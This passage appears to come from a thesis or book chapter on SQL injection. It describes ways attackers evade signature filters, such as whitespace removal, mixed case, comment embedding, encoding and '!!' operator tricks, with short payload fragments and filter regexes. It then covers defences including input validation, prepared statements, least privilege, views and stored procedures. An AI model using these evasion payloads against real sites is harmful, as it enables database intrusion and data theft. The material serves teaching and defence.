Database servers ignore whitespaces, such as space (ASCII code 32), newline (`\n`), and tab (`\t`) characters, during parsing and executing SQL queries. In addition, flexible syntax of SQL also allows omission of spaces between operands and operators. An attacker can remove or spread these whitespace characters inside the attack vector to force regular expression mismatch. For example, if the regular expression for a tautology filter is "`/OR\s+'?\d+'?\s+=\s+'?\d+'?/i`", it will fail to recognize "`OR'1'='1'`" which has no spaces in between. Similarly, the newline character can be used to break the injection vector into multiple lines to bypass detection.

2.4.2 Upper/Lower-case Mixing

On most database servers, SQL is case-insensitive by default. If the regular expression signatures in the filters are not made case-insensitive, attackers can mix uppercase and lowercase letters in the attack vector to bypass detection. For example, if the filter is

"`/union select|UNION SELECT/`", then the attacker can easily bypass it by using '`uNiOn SeLeCt`' in the attack vector. In fact, many of the automated SQL injection attack tools construct the attack vectors in mixed-case by default in order to bypass detection.

2.4.3 Comment Embedding

In SQL, characters like hash (#), double hyphen (`--`), and C-style comment (`/*...*/`) are available for commenting a part of SQL query or procedure. These commenting elements are commonly used by attackers to evade detection. For example, a `UNION`-based attack vector using "`UNION SELECT`" can be written in several ways by embedding comments, such as '`uNiOn/**/SeLeCt`', '`uN/**/iOn/**/SeLe/**/cT`', or '`uNiOn/*garbage*/SeLeCt`' etc. On MySQL, if the version is 5.5.25, keywords can be embedded inside version-specific comments, like '`uNiOn/*!50525 SeLeCt*/`'. It is difficult for a signature-based system to detect such attack vectors where comments can be embedded in numerous ways. Additionally, comment embedding can be used in conjunction with whitespace spreading, which makes it much more difficult to construct regular-expression based filters.

2.4.4 Encoding Techniques

Encoding techniques are used to change the appearance of the injection vector into a cryptic manner which can be used to bypass detection in a variety of ways. Some of the commonly used encoding techniques are: URL-Encoding, Unicode encoding, hexadecimal encoding, binary encoding etc. Functions like `CHAR()`, `HEX()`, `UNHEX()`, `BIN()`, etc., are used to un-encode the actual injection vector during execution. Though the main intention of encoding techniques is to bypass detection and generally used in combination with other type of attacks, these are classified as a special category (see Section 2.2.7) of injection attack due to their abundance and popularity.

2.4.5 Advanced Techniques

When an attacker is unable to bypass the IDS/WAF using the above methods, several other advanced techniques can be used. These techniques consist of formulating the injection vectors in an indirect way using the above techniques or utilize special operators, functions, or gadgets available in the database server. For example, if "`OR 1 = 1`" gets trapped by the IDS in all the above ways, then the attacker can use "`OR 1 = !!5`". In this expression, the exclamation character (`!`) is the `NOT` operator, therefore `NOT(NOT(5))` evaluates to `TRUE`, and when this is equated with 1, the result is also `TRUE`. By using the `NOT` (`!`) operator cleverly, the attacker can evade signature based detection. Other operators like ^, =, `!=`, %, /, *, &, &&, `|`, `||`, <, >, >>, <<, >=, <=, <>, <=>, `XOR`, `DIV`, `SOUNDS LIKE`, `RLIKE`, `REGEXP`, `IS`, `NOT`, `BETWEEN` etc., are also used in injection vectors to bypass the filters of the IDS or WAF.

Other advanced techniques consist of using predefined constants, system variables, functions, implicit type casting features, and complex expressions. Various string handling functions, such as `SUBSTRING()`, `LEFT()`, `RIGHT()`, `LPAD()`, `RPAD()`, `LOCATE()` etc., can be used in conjunction with other functions to build any substring or number. These techniques vary from one database server to another, depending on the features and functions provided by the database vendor. Overall, there are large number of possibilities to create injection vectors, and for the attacker, all it takes is some creativity with patience to bypass even the toughest filters [46, 47].

2.5 General Countermeasures

SQL injection vulnerability stems from absence or inadequate validation of inputs received from external sources before using them to construct dynamic queries. Preventing SQL injection attacks can be achieved simply by following secured programming practices – known as defensive programming. Unfortunately, many developers are not careful to follow them in practice [48]. Defensive coding is prone to human errors and in most cases not rigorously enforced during the software development life cycle. The following simple and easy to follow development practices can sufficiently harden web applications against SQL injection attacks.

2.5.1 Input Validation

SQL injection attacks are performed by injecting malicious code through either a numeric or string parameter. The developers should validate and check the data type of the received value before using them in dynamic SQL queries. Sanitizing numeric parameters is as simple as type-casting the parameter to the correct data type. For example, if the product ID received through the '`pid`' parameter (see Section 2.2.5) is type-casted into integer type by using "`(int)$_GET['pid']`" in the code, SQL injection attacks cannot happen through this parameter. For string type parameters, pattern matching and white-list validation techniques can be followed [49]. Scholte et al. [50] have established by their research that, the complexity of the attacks have not changed significantly, but application developers are either unaware of these classes of vulnerabilities, or fail to implement effective input validation in their code.

2.5.2 Prepared Statements

All database servers provide the *prepared* statements or *parametrized* queries feature. In case of prepared statements, SQL queries are written as a template using the '?' symbol as placeholder for inserting values and submitted to database server for *preparing* it. The database server prepares the query by parsing, compiling, and applying query optimization on the SQL statement template. The actual values are then bound to the placeholders in the prepared statement by strong data types. For example, refer to the

URL of product detail page given in Section 2.2.5. Instead of dynamically constructing the SQL query by concatenating the value of 'pid' parameter received through the URL, the developer can make use of prepared statements provided by the MySQLi database API in the following manner:

```
$qry = "SELECT * FROM products WHERE prod_id = ?";
$stmt = $mysqli->prepare($qry);
$stmt->bind_param("i", $_GET['pid'])
$stmt->execute();
```

Binding the parameter with the integer data type (specified by "i") ensures that the value received from URL is converted to integer before execution of the prepared query, which makes the parameter immune to SQL injection attacks. Prepared statements are highly recommended as the best defense against SQL injection attacks. The downside is that, it requires two round-trips to the database server, the memory footprint may be larger, may be inconvenient in variable parameter situations (such as unknown number of items in an `IN(?,?,?...)` clause), and in some cases it may negatively impact performance. Prepared statements however should not be considered as a panacea against injection attacks. SQL injection attacks can still happen through improperly constructed prepared statements.

2.5.3 Multiple Users and Least Privileges

Generally, all database servers provide excellent permission management features to exercise fine-grained permissions on database objects to authorized users. However, most dynamic web applications use a single user-account with access to all database tables to connect and execute queries on the backend database. While this is beneficial in the sense that the database server can utilize connection pooling, it invites security problems. It is strongly advised to use different user accounts to interact with the database in different modules of the web application. These user accounts and their access permissions should be set up according to the needs of the concerned module. For example, a login page needs only read permission on the username and password fields of a table, so write permissions should not be granted. In case of a situation where only one user account is available (as on some shared servers), the user account should be given least privileges as far as workable for defense against injection attacks. Multiple user accounts and fine-grained permissions are however cumbersome to define and increase the maintenance overhead.

Similarly, almost every web application needs to have an 'admin' user with full access to all parts of the application in order to manage the web content. Generally the admin user is inserted into the table as the first record for writing the application code, pending other user accounts which will populate at runtime. In authorization bypass injection attacks, such as the classic "`OR 1 = 1`" attack on a login form, the attacker can gain administrative access if the admin account is the first row of the table. It is therefore recommended not to put 'admin' users in the top rows of the table, rather mix them up with rest of the non-admin user accounts.

2.5.4 Use of Views

In SQL, a view is a virtual table based on the result-set of an SQL statement, containing rows and columns like an actual table. The columns in a view can be columns from one or more base tables in the database. Using views can increase the granularity of access by limiting the user accounts to specific columns of a table or result of joins between multiple tables. Views help protect the data in the base tables by restricting access and performing transformations of actual data when necessary. For example, suppose a web application needs to store the passwords of users in plain-text form for recovery purpose. The DBA can create a view that shows the username and the password hash (salted on a secret key known only to DBA) instead of the real plain-text password. The developers must use the view for the authorization queries. If a data breach by SQL injection attack succeeds, then the attacker will get only the hashed passwords and will not be able to decipher the actual passwords. The same technique can be used for other sensitive data items as well. The user-account used by the web application can be granted permission only on the views but not on the actual base tables.

2.5.5 Use of Stored Procedures

Stored procedures are not guaranteed to defend against SQL injection attacks (see Section 2.2.6), however if standard stored procedure programming constructs and practices are used, they can offer the same level of protection as prepared statements or parameterized queries. The developers must follow proper programming guidelines while writing stored procedures instead of adhoc building of dynamic SQL statements. The parameters passed into the stored procedure must be properly defined using correct data types having proper size limits. Additionally, the values of parameters, particularly for string (`VARCHAR`) type, must be validated inside the code of stored procedure and exception should be raised if found invalid. It is also necessary to follow the correct character-set and collation at the database level so that automatic Unicode conversions do not lead to smuggling of unwanted characters into the stored procedure. Stored procedures in conjunction with multiple user accounts and appropriately granted execute permissions can provide defense against SQL injections to an adequate level. Since stored procedures are defined and stored in the database server itself, it is advantageous to use them than prepared statements because they can be called from any point in the web application and do not require two round-trips for execution.

2.6 Summary

This chapter presented the technical details of various types of SQL injection attacks with appropriate examples as needed, without restricting the discussion to any particular language or database platform. The different channels through which SQL injection attacks are conducted were also discussed. In particular, the out-of-band SQL injection channels are extremely concerning, because in spite of various security measures in place, the attackers can still use the alternate channels for harvesting the sensitive data out of the database. The common evasion techniques used by attackers to circumvent any IDS/WAF deployed in perimeter security were also looked into. Since SQL injection attacks are a consequence of programming flaws, the general countermeasures to prevent these attacks which should be followed by programmers, web application architects, and database administrators were highlighted. Unfortunately, in spite of increase in general awareness about SQL injection attacks among web programmers, the threat is not only prevalent with almost the same intensity, but also new forms of attacks are being devised with passage of time. Automated SQL injection tools have abundantly and freely available on the Internet, making the situation worse.

The research community has promptly attended to the problem when advisories on secured programming practice have failed to curb the problem. The next chapter presents a systematic study of research works available in the literature for prevention and detection of SQL injection attacks, along with some related contributions.